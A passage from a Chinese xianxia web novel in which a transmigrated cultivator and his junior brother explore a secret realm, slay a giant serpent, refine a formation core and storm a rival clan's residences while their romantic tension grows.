祁桓动作一顿,“不必担心。倒是……我们一来就招惹王家的人,不怕引来那王凰潜吗。” 许清浔丝毫不怕,他盯着流汁的蛇肉,随口道:“她打不过我,我只怕她知道我来了,躲着我不敢出来。” 祁桓呆了呆,随即没忍住笑了笑。 有时候相处久了,他时常会不小心忘记,他师兄是一代无敌的绝顶天才,无论王腾飞还是王凰潜,这些在他人眼中恐怖如斯避之不及的强者,在他师兄眼里都不过是稍强一些的一般人。 虽然他要问的,并不是打架胜算。 “说到蛇毒,你可要注意合欢宗的人。” 许清浔忽然认真,“他们的宗门虽然不入流,看上去没有什么战力,但他们的功法其实很强大,名为六欲天功,来源自七大混沌古经之一,阴阳三清经的残页。” 祁桓眼露诧异,“这倒是从未听人说过。” “你师兄博学多才,自然知道。不过我的话你不要随便跟人说,知道吗。”许清浔提醒了一下。 事实上,就连合欢宗的人都不知道他们修炼的是混沌古经的法。 原著李梦好天赋异禀,举一反三,通过残页补全古法,才最终发现自己修的是阴阳三清经。 “知道。”祁桓应了一声。 他向来嘴严,或者说,他也根本没有说漏嘴的对象。 许清浔一笑,回忆道:“对了,六欲天功有一门法,会激发人心的欲念。虽然我相信你不会受影响,但……对了,它这门功法倒是可以让人看清自己的心,比如说认清心里喜欢的人。” 祁桓烤肉的手明显僵硬了一下,“认清?” 许清浔津津有味地科普道:“你想想,人是爱欲一体的动物,对会产生欲望的对象,自然就是心爱的人,师弟你说是不是——” 他还未说完,祁桓突然打断道:“我没有那种欲。” 许清浔呆了呆,小声提醒道:“师弟,我不是说你。” 祁桓面色顿红,只好转过头去,默默地继续烤肉。 “……” 许清浔心里小纳闷,怀疑自家师弟是那种表面很禁欲,心里也很禁欲的男人。这也难怪,据他所知,祁桓自小家教就严,天天读什么非礼勿视,非礼无言。 想着,他忽然有点同情。 板板正正,老实做人,固然好,但过度压抑,也容易导致变态。这不,原著最后就成了变态。 许清浔心情复杂,继续往深地想。话虽如此,我又能怎么办,真帮他找个对象?可是他说“明朗活脱、品性良善”,这个条件看似普通,其实根本不普通,至少原著有名有姓的角色中没有一个符合的。 再说了,即便找到了,难道要让她加入他们,今后三人一起历练? 许清浔瞳孔一震,尝试想了一下,发现自己无法接受。 拜托,谁受得了天天当电灯泡啊,天天夹在中间会尴尬死吧? 而且…… 许清浔心一沉,没忍住偷瞄了祁桓,心里默默地想,而且他好像舍不得。 在他心中,祁桓就该是无cp的,任何人都配不上祁桓。他家小师弟那么一朵水灵灵的大鲜花,独自美丽多好,何必找对象?瞧瞧,安静专注的时候,简直跟画一样,颜狗福利! 咳咳,不得不承认,他喜欢贴着祁桓调戏的原因之一就是自家小师弟好看。 啊,等等,问题是压抑就会变态该怎么办吧?为何扯到这里去了? 许清浔胡思乱想,终于把他自己整混乱了,愁眉苦脸地低下头,直到鼻腔内忽然传来了一股烤肉香。 他的眼睛瞬间亮了,二话不说地抢走烤串,大口猛吃。 灵兽肉入胃,瞬间化作一股热流,传至四肢百骸。大补! 他笑着转头,大赞道:“不愧是师弟,有这样一手烤肉技术,将来讨媳妇绝对不费吹灰之力!” “是吗。” 黑衣青年语气淡淡,但唇线明显上扬,自己也吃了一口。 片刻之后,灵兽肉吃光了。 许清浔盘坐下来,缓缓炼化,忽然睁开眼睛,叫停前方的男人,“师弟,你要出去?” 祁桓停步,但没有转过身,轻声回答:“是。” “出去打架?” “是。” 许清浔眨了眨眼,笑道:“好,去吧。” 目送对方走了之后,许清浔目光转变柔和,欣慰道:“他最近是越来越王道了,虽然说多打架才能进步,但原著的他很少如此主动。” 炼人如炼剑,千锤百炼,方能炼出最好的剑。 本来他带对方来此就存着这个心思,没想到无须自己言说,那个男人就心领神会了。 这算是心有灵犀吗?许清浔揣摩了一下,不禁绽开笑颜。 “你且闯荡,师兄看看第二层的情况。” 说完,他立刻收敛轻浮之色,神识凝聚收拢,瞬间绽开无数精神念丝,融入土地微尘之中悄无声息的伸展。 织神感应术,本是由神通演化而来的术,操作须细腻入微。一开始他的感应距离极其有限,而现在每用一次,感应距离都在扩大,正所谓熟能生巧。 许清浔看到,法府不远处,几个人正盯着他们法府看。 那是姬武尚、罗平、罗衡、容徐等人。他们的脸上呈现出不同程度的震惊。姬武尚转向众人,“你们知道刚刚走出的人是谁吗?” 罗平冷汗直流,心有余悸,声音颤抖地道:“不知道,但感觉他能一刀砍死我。” 罗平实力绝对不弱,可明显感觉到,对方更强,而且强的离谱。 罗衡也十分同意,“他的年龄看上去跟我们差不多,杀气却完全不在一个层次。” 容徐则望着远方,“你们有没有注意到,他去的方向是王家的法府?” 此言一出,众人都愣住了。 包括许清浔。 姬武尚道:“不是王家抢的法府,而是王家的法府?” 容徐郑重点头,“对。” 罗平难以置信,“真是一个猛人,他不知道那是王家的地盘吗?” 容徐沉声道:“估计知道。” 知道了还去,明显是故意踢场。此人,竟是要单枪匹马闯王家! 他们都震撼了,唯有姬舞明稍显淡定。他心想,不愧是许家大少爷的身边人,一出场就这么猛! 许清浔本人则正在发呆,不过,他想了想,又觉得无妨。 张扬恣意、想打谁就打谁才是主角。其次,王家如此嚣张,合该碰一下铁板了。 他没有跟踪过去,而是继续放开精神念丝。第二层的许家法府不好窥探,但里面的事,他大概猜得到。其他七家并无什么特别,然后是李家。 他细化精神念丝,成功潜入李府,看到了修炼中的李长金。 不愧是二师弟,完全无须他挂心。 李长金似乎有所察觉,睁开了眼睛,开始惊诧警觉,然后松了口气,“原来是师兄啊。” 许清浔笑了笑,“当然是我。” 李长金道:“师兄没事就好,看来七师弟成功救下你了。” “他也来玄衍了。” “预料之中,师兄上哪都带七师弟。” 许清浔更是大笑,“没办法,小师弟离不开我。” “是吗?”李长金歪了歪头,“小师弟心思难猜,但在我看来,师兄同样离不开小师弟。” 许清浔一愣,“有吗?” “因为师兄你……怕寂寞,不是吗。”李长金淡淡道。 许清浔恍然,欲反驳,又无法反驳。 片刻后,他大体了解了第二层的情况,缓缓收回精神念丝。 一切尽在掌控之内,嗯?祁桓打穿了王家三个法府?小事,便是打穿了第二层,那也是预料之中。 他沉心修炼,以天地为炉运转周天。果不其然,越往下走,修炼越顺畅,因为大道感应更强烈了。 一切都十分顺畅,本该如此。然而,不知为何,他明明正常修炼中,思想却莫名恍惚了一下。 回过神时,竟仿佛身在桎梏之中,脚踝、手腕缠着锁链,这也罢了,就连腰间也有,他浑身不自在,睁眼一看,更是一头雾水。周围一片昏暗,身下柔软,盖为床铺。 自己,怎会被锁在床上? 他疑惑了,忽然浑身发寒,因为身后传来了一道熟悉而陌生的声音。 “我告诉过你,你根本改变不了我。” 许清浔当即吓了一跳。而这一吓,直接把他吓醒了。 他睁眼一看,身边并没有那个变态,自己仿佛只是做了一个梦而已。 但谁修炼的中途做梦啊? 许清浔觉得莫名其妙,却又隐隐不安,最终还是没忍住,立刻用起了水镜术。 水镜画面缓缓凝聚,很快浮现出一道熟悉的身影。 男人似乎刚砍完人,长刀微振,洒去血液,表情冷漠而平静,但下一刻,他表情微微变化,抬起头,双眸含光。 人虽依然锋利,但似乎多了一分温柔。 许清浔目睹着这一幕,当即放下心来,自语道:“我在担心什么,人好好的。” 语罢,他收了水镜术。 而与此同时,祁桓皱了皱眉,疑惑道:“师兄今日反复看我,究竟是为何。” 他曾修《灭世魔经》,感应能力极强,早在五年前,师兄一开始用水镜术观察他时,他就发现了术的存在。当时,他还装作练功出岔,试探了师兄,结果没想到师兄亲自过来,给他喂药调理。 以前他以为是师兄喜欢他,现在…… 祁桓眼里罕见地掠过一丝失落。 他开始不明白自己,为何心情总会随着师兄起伏,为何师兄问出那句话时,自己的回答会是“明朗活脱、心地良善”,为何当思考“爱”的时候,自己会满脑子都是师兄的身影。 自己明明不喜欢男人,为何总是想着师兄?这对吗? 到底是从什么时候开始,自己变成了这样? 祁桓疯狂谴责自己,明明理智掀起了反旗,内心却还是一片欢喜。 师兄明艳动人爱面子易害羞,天天言语轻浮实力却碾压八方强势无敌,最重要的是,他如此珍视你,在他眼中,你仿佛是世间至宝,无人能及,你天天被师兄珍视着、爱着,你会爱上师兄,不应是人之常情吗? 祁桓瞳孔一震,脑中的某个窍穴仿佛被瞬间打通了,忽然开始觉得……男人也不是不行。只要是师兄,什么都行。 第36章 第三十六章 带坏 这个想法一出, 好似整个世界都豁达了。 他的内心控制不住地喜悦,仿佛压抑已久的心情终于得到了释放,畅快无比,可是喜悦过后, 是酸涩, 是痛苦。 因为他的师兄再怎么宠爱他, 也不喜欢男人,更不会想与男人结为道侣。 “………” 良久的沉默,祁桓面色阴晴不定,既想不顾一切强迫师兄爱他, 又想尊重师兄心情就此打住。 法府内寂寥无声, 只有偶尔响起的风声。 “到底当如何……”- 几乎与此同时, 原罗家法府的洞口, 几个人面面相觑,都露出了难以置信的神色。 “究竟谁在里面,护府的法符如此强大。” 姬武尚抬起头,面色十分沉重。 罗平、罗衡两兄弟互看一眼。罗衡提议道:“要不, 问候一番?” 后面的姬舞明闻言都要尖叫了,心想那里面可是许清浔,惊动他你们不要命了吗! 姬武尚却点了点头,“我来吧。” 大哥!你忘了你被打到道心崩溃了吗!姬舞明憋不住了,当场跳出来,劝解道:“还是算了, 刚刚那位一身杀气,里面这位更不可能是好惹的人物,万一打扰了人家修炼怎么办?” 众人的目光齐齐看向他,罗家两兄弟异口同声地惊呼:“姬家三少爷?原来你也在?” 容徐眨了眨眼, 并不评价。 姬武尚一脸诧异,“小三,你……” 他三弟是这种时候会跳出来的人吗? 姬舞明立咳一声,顾不上纠正了,“大哥,我们走吧,万一对方察觉到了,我们可就死定了!” 姬武尚皱了皱眉,“你大哥我弱吗。” 姬舞明面色一僵。 姬武尚认真道:“秘境内强者如云我早已知晓,比我强大的,少说也有二三十,但那又如何,我们姬家的道,本来就是斗出来的。” 姬舞明心想,方才他们喊你打王家你犹豫,现在又灵活想起了家训是吧。好奇心害死猫! 好在,容徐不知观察到什么,忽然浑身一凛,转头劝道:“姬家三少说的对,我们还是先走吧,我有预感,秘境很快就要翻天了。” 罗平一怔,“翻天?” 罗衡变色。 容徐实力中上,但心思缜密,视野超群,所预感之事,十有八九不会有错。 众人互换视线,最终姬武尚一语定下。 “走吧。各回各府。” 闻言,姬舞明松了口气。 他们走之后,法府里面的许清浔歪了歪头,眼露疑惑。 “我又不是什么洪水猛兽,为何这般忌惮我?”他不太明白,陷入了回忆,“是因为我小时候太强横霸道了吗?但我也没有见人就打吧。” 许清浔脑中记忆闪烁,结果方才言之凿凿,却越回忆越心虚,外面那个姬武尚似乎也是受害者之一。 他十二岁那年打了一场擂台,对各家小朋友一通拳打脚踢,尤其爱打脸,也就对长得好看的稍微手下留情而已。 身为符修为何动拳脚?哈哈,符修略懂拳脚不是很正常的事吗? 现实世界里,他老爸可是截拳道馆主,他作为儿子,略懂一些武术不是很正常? 当年,那帮贵族小弟哪里学过肉搏,一个个不是耍法术就是祭法宝,被他稍微近身,自然就完蛋了。 这就是所谓的觉悟差距啊。不过他作为穿越者大人,欺负小孩倒也不算什么本事就是了。 许清浔不禁一笑,对于姬武尚等人他不怎么在意,想来姬舞明那个小弟已经懂得了小弟的精髓,会帮他解决掉不必要的麻烦。 第二层没有什么值得在意的地方,那么接下来就是第三层了。 许清浔眸光转动,瞳孔内似有符文交织。忽然,他内视自己,发现自己的神通灵力愈发强大了,五行五色自然运转,外沿还有两层颜色周转,七色神通灵力,历史不曾有过。 究竟作何理解?他始终不明。接着,他又想起了《原始太虚经》,于是取了出来,捏在手里定睛观察,喃喃道:“五年了,它这一睡未免太久了吧。” 虽然他对金手指并不强求,还曾鄙视过那些金手指开太大的龙傲天,但是拿到手里却用不了……多少还是会郁闷一下。 观察了片刻,没有任何动静。 许清浔只好作罢,转而解析阵法,炼化阵眼。 第二层的阵眼比第一层复杂许多,难度翻了四五倍,便是他也费了一番功夫。 十大家族那帮人无须自己解析,有阵修帮他们搞定。 而他,更喜欢自己动手。 三刻钟后,阵法解析完毕,阵眼打通,大道精髓炼化完成。 许清浔起身,面露笑容,“好了,随时可以下去第三层了。” 但他并没有立刻下去,而是另有打算。 “第二层阵眼众多,核心区域的阵眼都被占领,但最好的阵眼并不在核心区域。” 原著中,祁桓被一些小家族的修士追杀,将近油尽灯枯的时候,意外掉下了一条地缝。在那里,他遭遇了一条凶险无比的巨蛇,九死一生,最后躲在了一个残阵之内,才勉强获得一丝喘气的机会。 后面万万没想到,那里竟然也是一个阵眼处,而且蕴含的大道精髓超越了第二层所有的阵眼。 许清浔心想,既然来都来了,何不过去一探? 他于是取出玉佩,传念道:“师弟,你在修炼还是在打架,师兄要去找一个大机缘了。” 夫妻佩的用处众多,不仅可以空间转移,还能隔空传念,若是传得出去,说明距离不远。 不过,对方的回应比平时慢了片刻。 “师兄先去吧,我随后到。” 许清浔一顿,虽是很平常的一句话,他却隐隐听出了一丝不对劲。 自家师弟怎么了吗。 许清浔琢磨了一下,并非身体出了什么事,而是……心情? 难道受到什么刺激了?许清浔瞳孔一震,下意识就想转移过去,却又想起什么,眉头一皱,停步不前。 就算真的受到了什么刺激,他过去是好事吗,祁桓已经不是少年,今年二十一岁了,该是自己去经历的年纪了。他作为“监护人”,不可能,也不可以时时都在现场调解,不然万一把人养歪了怎么办? 许清浔陷入纠结,虽然两世为人,但他也不敢说自己的想法就一定是对的,尤其在关系到他人的问题上。 “师弟啊师弟,你可真是让师兄天天牵肠挂肚啊。” 许清浔喃喃自语,却并不觉得麻烦。他这个人性情有些怪,不仅不讨厌别人带来的麻烦,还乐于帮别人解决麻烦。 是为了赚情绪价值?但他也不是所有人的麻烦都愿意帮忙解决。 只有……对,只有他认可、喜欢的人,他才会乐于帮助。 究竟怎么培养来的性格呢,他寻思,或许跟他从小带弟弟有关吧。 弟弟刚出声没多久的时候,又哭又闹,吵得人天灵盖都在颤抖,爸妈不在家,他作为哥哥,不得不帮忙照顾。 一开始很麻烦,麻烦到想把他们扔了,但后面又舍不得,因为弟弟吃饱了会笑,会奶里奶气地喊哥哥,会跟在你的屁股后面爬走,会跟你鹦鹉学舌,你指他往北,他绝不往南,你把他打哭了,叫他不能告诉爸妈,他也乖乖听话,说是在楼梯口摔到了。 养成的乐趣大抵就在于此。虽然长大后还是会不听话就是了。 许清浔罕见地想起自己的家人,忍不住笑了笑,“但我对祁桓,比起养成,更像是投资吧,投资了那么多、那么久,怎么可能因为一点小麻烦就如何。” 小师弟啊,你是主角,那就自己想办法度过难关吧! 他于是传念给祁桓,“好,师兄烤好肉等你。” 接到消息的祁桓微微一愣,垂下双眸,轻笑道:“你会烤吗。” 话并未传出,许清浔已经离开了法府。 秘境内不分昼夜,但有时候光线会弱一些,比如现在,到处昏暗,还有雾气。 原著关于那条地缝的位置描述比较模糊,不好立刻找到地方。但许清浔非常耐心,甚至有种旅游的感觉。半个时辰后,他真的在森林中找到了一条地缝。 缝很小,刚好容纳一人,很难想象原著祁桓就是这么摔下去的,运气简直了。 许清浔揣摩了一下,放出精神念丝感知,还真感知到了一股强大的气息。是那条吃人老蛇无疑了。 他未动身,先抬手投入几十张法符,口中默念着道语。通常来说,语言、法印、媒介,三位一体,才能完成术法,而他天赋异禀,能够跳过法印的环节。 小心驶得万年船,法符铺路之后,他才投身入内,飘然落地。 老蛇瞬间感知到了不对劲,当即睁开那双骇人的蛇瞳,一时之间,整个洞穴仿佛被照亮了,巨大的蛇躯底下是白骨森森,还有一些新鲜的尸骨,到处散发着恶臭。 许清浔眉头一皱,身前法符随念而动,如凶涛骇浪一般涌向了巨蛇。 巨蛇勃然大怒,当即爆发出强大的法力,试图轰碎他的法符,与此同时,蛇尾潜藏在阴暗处,快速绕到了许清浔身后,试图从背后击杀他。 只听轰的一声,法符爆发出无比刺眼的强光,带来了一阵恐怖的热量。 紧接着,偷袭的蛇尾撞上了一面无形的屏障,屏障坚固无比,瞬间显现出密密麻麻的符文。 许清浔转过头,轻念一声:“定。” 四道金光乍现,化作飞剑疾冲而过,瞬间破开蛇鳞,将蛇尾钉在原地。 巨蛇吃痛,当即嘶吼了一声。 整个洞穴仿佛地动山摇,许清浔却浑然不惧,他从袖子里取出一道飞天剑王符。 “去。”他食指一点,法符爆发,瞬间化作成千上万的飞剑,如洪水般淹没了巨蛇。 巨蛇并不弱,然而对手太强了,它的法力完全阻挡不了许清浔的进攻,更无法逃脱,犹豫不定的瞬间胜负已定,飞剑破开它的防御,一柄接一柄地击穿了它。 金光与黑光闪烁之间,青衣修士如天神下凡,支配了整个战场。 而突然,他惊道:“糟了,忘记留全尸了。” 话音未落,金光散去,眼前只剩下焦黑焦烂的一段段蛇躯。 许清浔挠了挠脸,走近一看,感觉挑挑拣拣,一些部位或许还能吃? 他低头,视线转动,忽然抬指,与此同时,蛇躯撕裂,一颗内丹缓缓地飞腾到空中。 灵兽内丹无论是炼化,还是炼药,都非常有用。 “蛇肉吃不了了,蛇丹倒是还有,留这个给师弟吧。”身为一个好投资人兼好大哥,适当投喂小弟已经成了习惯。 许清浔取走蛇丹,扫了一眼洞内的尸骨,眉头微皱,取出三味真火符将它们焚烧殆尽。 英年早逝,实是一件憾事,至少让我帮你们烧了尸体吧。 火势凶猛,险些蔓延,许清浔取出一张空符,将三味真火尽数收于内,再一看,洞穴内又黑又焦,还十分空旷。 “一天天的,就藏在这种地方吃人吗。” 许清浔目光转动,按记忆寻找方向,最终停在了一处。 那里的上空有一条石缝,一束光自上而下地投落,照亮了一方狭小的空间。低头一看,地上画着法阵,残缺不全,但还有法力。 画此阵之人,想必是一位百年难遇的天才阵修,凭借聪明才智,算出第二层最强阵眼的所在,来到了此处,没想到竟是一头老蛇的巢穴,最终无声无息地遇害,只留下一个阵法。 每次历练碰到这种事情,许清浔都会内心刺痛,至今没有习惯。当读者的时候看弱肉强食很爽,实际经历又是另一回事。他忽然觉得那帮文青作者也并非无病呻吟了。 真是人生处处回旋镖。 许清浔摇摇头,“干嘛祁桓一不在,我就开始胡思乱想了?”大抵身边有个人搭话,总比孤身探险有趣味吧,尽管那个男人大多时候沉默寡言,不知道在想什么。 许清浔从袖中取出几张法符,令它们悬浮空中,感应四周,然后才走近了那片残阵。 接着,他看了一圈,反复观察,不禁赞道:“好阵!并非古时圣人传下的通俗阵法,明显改良过了,看得出来还有自己对阵法的思考!” 许清浔蹲下身,伸手抚摸阵纹,缓缓闭上双眸,精神念丝随着法力的流转而动,片刻后,他眼睛一睁,惊喜道:“找到阵眼了!” 他继续往后走,双眸深处浮现符文,能够肉眼看见事物的法脉。 忽然,他停步,看着一个巨大的灵力体。它如同一朵莲花,半径将近十丈,花蕾处蕴满大道精髓,花瓣处呈现符文,灵气如水,不断地注入地面的法脉,与此同时,地面的法脉也不断地向它输送灵气。 巨蛇不像人类修士,能够开眼看到这些东西,否则定想方设法吃了它。 许清浔走近一看,惊讶道:“好复杂的阵眼,原著祁桓是怎么吃下它的?” 继续观察,他还发现,里面蕴藏的大道精髓快是普通阵眼的百倍了,而且纯度也非同一般,还带五行属性? “竟比原著写的还要夸张。” 许清浔傻眼,他敢说,以当时祁桓的修为,即便有经魔的帮助,也绝无可能吃下这个阵眼。 “莫非时机不对,我来早了,这个时候的它就该如此?” 他琢磨了一下,随后抛在脑后,不管怎样,先解开阵法再说- 几乎同一时刻,祁桓打退了所有来犯之人。 第二层的修士之中,已经没有一人敌得过他了。可是,即使如此,他也觉得不够,远远不够。 面前,两个身穿王家道袍的修士死死地盯着他。 左边的人质问:“你到底是谁!如此嚣张,难道就不怕我们王家吗!” 祁桓沉默不语。 那人更怒了,“山野莽夫,连万年世家都不认识,任你有多大的天才,就算你能打遍第二层,到了第三层,你也必死无疑!” 祁桓还是仿佛没听见。这也没办法,类似的话他听太多了,他师兄有事没事还给他演,说什么听到这类话不要生气,将来如此挑衅你的人会有很多,你若是一个个都要生气,定会气坏你自己,先在师兄这里习惯一下,将来就会宠辱不惊,看什么都云淡风轻。 没想到,真被师兄说中了。 又或者说,师兄不是说中,是……仿佛看到了“未来”? 祁桓一愣,内心瞬间沉闷,他不喜欢超乎掌控的感觉,那会让他想起小时候所有事情都超乎掌控的那一夜。 但他的师兄确实有时候仿佛旁人般看待这个世界,隔着一层说不出的间阂,评书一般评点着一切事、一切人。 或是他走神走得太明显了,面前的两个人已经自己有了可乘之机,突然爆发攻势。 但下一刻,祁桓刀尖滴血,足下两具尸体。 他不嗜杀,也不准备斩草除根,奈何敌人一个个撞他刀尖,他也只好被迫杀了他们。 “罢了,还是回师兄身边吧。” 祁桓取出玉佩,感应到范围之内,直接注入了灵力。 几乎同一时刻,黑焦的洞穴内出现了一道黑色的身影。 他一落地,下意识寻找那道青色身影,忽然浑身一凛,垂眸,看到腹前一双环抱的手,再接着,后背贴上了一层柔软。 身后之人缓缓地拥他入怀,语气低而蛊地说:“恩客,你可算来了,奴家等你很久了。” 他瞳孔微缩,脸上飞速闪过一抹薄红,心跳险些压抑不住,深吸了一口气,才板着脸训责道:“师兄,不是说好不玩了吗。” 恶作剧之人身体顿僵,默默收手,低声道:“这不是打趣一下吗。” 祁桓心想,什么打趣是喊一个男人恩客?他突然黑了脸,转身道:“师兄对其他人也是这么打趣的吗。” 许清浔呆住,当即否定道:“哪有啊,我只是对你才这么打趣。” 祁桓一愣,又问:“只对我?” 许清浔认真点头,“当然只对你。” 祁桓面色顿变,心跳控制不住地加速。 许清浔接着补充道:“你是我身边唯一的木头,不打趣你,我打趣谁?” 说着,他歪了歪头,浅色的双眸轻轻眨动。 很美,但是也很…… 祁桓眼神一暗,罕见地反驳道:“光说没用,我早已不是你可以把玩的少年了。” 许清浔闻言一笑,其实刚刚他只是想吓对方一下,不知为何抱着人,脑子一糊涂就说出了那句话,心里有些小后悔来着。 “最后一次,师兄再也不说了。”他朝对方温柔一笑,笑容明媚动人,很有感染力,却丝毫不知那有多撩动人心。 祁桓盯着那个轻浮的人,忽然走近一步,黑瞳罕见地透着压迫感,冷不丁地问:“师兄知道,那种光耍人的伶人,会被人怎么说吗。” 许清浔一呆,问道:“怎么说?” 祁桓目光一沉,语出惊人道:“欠.干。” 许清浔瞪大了眼睛,像是要当场石化了,他怀疑了自己的耳朵,不敢相信从对方口中说出了那两个字眼,脑子都恍惚了。 师、师弟刚刚说了什么,欠……干?说谁呢,我? 许清浔瞳孔地震,险些要裂开了。比起生气自己被说,更受不了的是——你个主角怎么可以开黄腔啊! 等等,这、这好像是我带坏的?许清浔傻眼了,心情瞬间悲愤交加。 然而没等他开口,祁桓先侧过了脸,眼里明显闪过了慌乱,显然方才的话也超出了他的预料。 他抢先开口,仿佛要掩盖这件事,转移话题道:“比起这个,师兄说的大机缘是什么。” 许清浔微愣,目光中带着幽怨,心想天大的机缘也没有你突然说那番话重要,他忍不住问:“师弟,你从哪儿学来的话?” 祁桓脸皮一热,低声道:“不知道,路过听见的。” “是吗?”许清浔狐疑,但换位思考,先过分的是他,师弟反击一下,倒也是情理之中。而且看样子,对方也知道那是不好的话。 许清浔于是抛在了脑后,笑道:“那没事了,不过顺便一说,你师兄才不欠!” 说完他便转过了身,朝向阵眼的位置。 浑然不知,身后的男人目光低垂,有无意识地扫了一眼他的腰。 第37章 第三十七章 师兄亲你一下!- “师弟怎么看?” “阵眼很是独特, 师兄如何找到它的?” “哈哈,当然是我运气好!” “……” 两人之间隔着阵眼,一人目光聚焦于阵眼,一人却看着另一人, 有一句没一句地聊着。 祁桓低眸, 神色有些复杂。 他的师兄, 看似大大咧咧,却疑点满身,看似真诚坦率,却又有所隐瞒。 许清浔侧首, “在想什么呢, 咱们一起解开它吧?” 祁桓点头称是。 此地的阵眼不愧是第二层的阵眼之王, 即便是他们合力解开也十分费劲, 中途多次补充丹药,才最终成功解开。 好在麻烦有麻烦的好处,解阵也是一种修炼,见识到天地自然形成如此神妙的阵法, 他们或多或少也有一些体悟。 片刻之后,阵眼悄然打开,大道精髓满溢而出,席卷了整个洞穴。还好许清浔提前布置了阵法,才不至于让大道精髓泄漏出来。 “好了,炼化它们吧。” “是。” 修炼无言, 专注自我。 一晃三天过去,大道精髓才炼化完毕。 许清浔比祁桓先醒来,神清气爽,双眸含光, 正乐滋滋地打量着自家小师弟。 不错不错,吾家师弟初长成,越来越帅气了!不愧是我,挑男主的眼光果然没错! 虽说作为男人,对同性的颜值有所要求似乎不太对劲,但他觉得爱美之心人人皆有,作为投资者,赏一赏男主的颜值又有何妨? 就是……那个梦,多少有点让他不太放心,他始终害怕,自己的努力终究会白费。 许清浔目光一沉,想到了一件事,却举棋不定,陷入了沉思。 一直到,对面喊了他一声,他才清醒过来。 “师兄在发呆吗。” 许清浔一愣,呆呆抬眸。 对面的黑衣青年正看着他,表情如常,淡漠中带着一丝人情,似乎很关心他的样子。 许清浔心念微动,决心开口,佯装平常一般,问道:“话说回来,师弟,你知道《灭世魔经》吗。” 十分突兀的提问,没有铺垫,但即便有铺垫,估计也不会有所不同。 祁桓面色微变,这也已经是他控制过后的表情。 空气似乎凝固了,隐隐透着几分凶险。 许清浔暗暗地吸了一口气,轻笑道:“将来我们可能会遇到修炼混沌古经的敌人,师兄是想问你关于混沌古经知道多少,比如说传说中的《灭世魔经》。” 祁桓顿了顿,思绪激烈翻腾,他曾怀疑过,师兄其实知道他身怀《灭世魔经》,然而…… 他盯着对方,一时看不穿。 “《灭世魔经》恶名昭彰……听说是一门关于灭世的功法,所有的修炼者都会走向灭世的道路。” 祁桓沉声低语,目光渐深。 “是吗?”许清浔仿佛第一次听闻,好奇道:“这些修炼者为何都会如此?” “因为很痛苦,魔的眼睛看世界与人的眼睛看世界不同,在魔的眼里,一切都是恶意和扭曲的,看到那样的东西,你会不由自主地想要摧毁掉一切。” 祁桓眉宇紧皱,身体似乎微微发抖。 许清浔立刻道:“原来如此,那师弟知道《原始太虚经》吗?” 祁桓一顿,抬起眸,“那也是混沌古经?” “对,而且是混沌古经之中排位第一的古经。”许清浔笑道。 并非所有人都知道混沌古经的名称,知道其排位的更是少之又少。 祁桓思考,摇头道:“不知,师兄是否知晓?” 许清浔点点头,“只知道一点,那古经似乎是关于创世之法的经书。” 祁桓沉默片刻,眼神复杂难辨,“是吗,挺好,这门经书的修炼者想必道途十分畅快。” “不好说,听说每一本古经都有脾气,它们这种活了万古岁月的生物,是怎么看待我们这种短命生物的呢。” 许清浔眨了眨眼,真心疑问。 祁桓盯着许清浔的眼睛,思考了一下才回答:“无论怎么看待,经书不过是经书罢了,关键的永远是修炼的人。” 许清浔一顿,震惊地看着祁桓。 祁桓接着道:“人心若正,即便修炼的是《灭世魔经》,那又何妨,照样能证道,照样能开路,人心若不正,即便修炼的是世上至善的经书,所行的也是不正之事。至少在我看来,人心比经书重要,心才是真法。” 许清浔睁大了眼睛,仿佛被祁桓这一番狠狠震惊了。 “师弟你……” “一些狂妄的想法而已,师兄不必在意。”祁桓打断,低声地补充了一句。 许清浔却笑了,开怀大笑,双眸生光,赞道:“不愧是师弟,这番话说得太好了,师兄也这么认为!” 祁桓沉默了一下,随即唇线上扬,“终究是人修法,不是法修人。” 许清浔重重点头,“但说着容易,做起来难,多少修士修炼着修炼着,便被法支配,沉浸在了奇技淫巧之中。” “是,不能实行的话,终究是空话。”祁桓点头。 “但有这个想法就很不错了。”许清浔大感放心,站起身道:“既是如此,我们去第三层吧,去告诉那帮牛鼻子瞧人的家伙,你已经横空出世了!” 祁桓站起身的动作一僵,却淡淡地一笑,不纠正他的夸张用词。 一个时辰后,第三层形势大变,某座法府突然遭到袭击,一群修士被迫防守,却根本阻挡不了。 一名王家修士大吼:“你是什么人?这是我王家的法府!” 黑衣修士默不作声,身后却冒出了一名青衣修士,后者嬉皮笑脸道:“让开让开,这位是我家师弟,今年二十一,长得可清俊了。” “你、你又是?!” “他偏好明朗活脱的女孩,你们这儿有吗?” “师兄不要胡言乱语。” 西边大乱,区区两人的到来,掀起了一波又一波风云。 王家法府内,不断有人冲入禀报。 “不明修士进犯王家!大少爷、大小姐在哪里?” “他们也来我这边了,可恶,究竟是什么人如此胆大包天!” 几乎与此同时,北边法府大乱,王家修士疯狂逃窜,连形象都无暇他顾。 后府,关押之地。 许清浔看到里面的情况,当即勃然大怒,提着一个浑身狼狈的王家修士问:“进来历练也要带炉鼎?丢人现眼!” “我、我们没有,他们是……”那个人急得狂摇头。 许清浔瞳孔一震,这才意识到,里面关的竟是……同样来历练的各宗修士。 这时,祁桓已经打开了阵法,看着里面的男男女女,沉声道:“师兄,我们来迟了。” 许清浔闻言更是怒火中烧,“真是一群败类!” 片刻后,王家人全数除尽,法府内一片清净。 许清浔回到关押之地,目光颤抖,“他们……” “有人还活着,那还算活着吗。” 祁桓面无表情地为其中一人披上衣袍。 他并不认识这些人,但认得他们的道袍。也许他们曾是他艳羡过的天才,但今时今日,境遇已经截然不同。 许清浔咬唇,屈膝蹲下,欲扶起一个少年,对方却躲过了他的手,瑟缩在其他人身后,绝望而恐惧地看着他。 他一瞬愣神,不明白为什么。 祁桓轻声道:“让我来吧。” “为何……”许清浔茫然地看向祁桓。 祁桓沉默了一下,道:“可能因为师兄也是世家子弟吧。” 许清浔一愣,随后仿佛明白了什么,暂时离开了后府,来到玄关,就着石地坐下,一阵发呆。 “世家弟子吗。”他喃喃自语,神色复杂。 多少次了,他还是没能习惯,每当看到这种事时,就难免生出离开这个世界,回现代去的想法。 身为穿越者,他与这个世界始终格格不入,尽管他努力想要忽视,终究还是三观不合,感到一种说不出的割裂。 沉默良久,他听到了身后的脚步声,转头一看,果然对上了一双黑瞳。 “师弟……里面没事了吗。”许清浔呆呆地问。 “没事了,暂时。”祁桓走到许清浔身边,也坐了下来,剑匣自然落地,发出轻轻的声音。他似乎注意了许清浔脸色不对,语气平静道:“师兄,心情又不好了吗。” 他说“又”,因为这种事已经不是第一次了,这个人明明也是世家子弟,但好像从根本上厌恶这些事一样。 “就这么明显吗?” 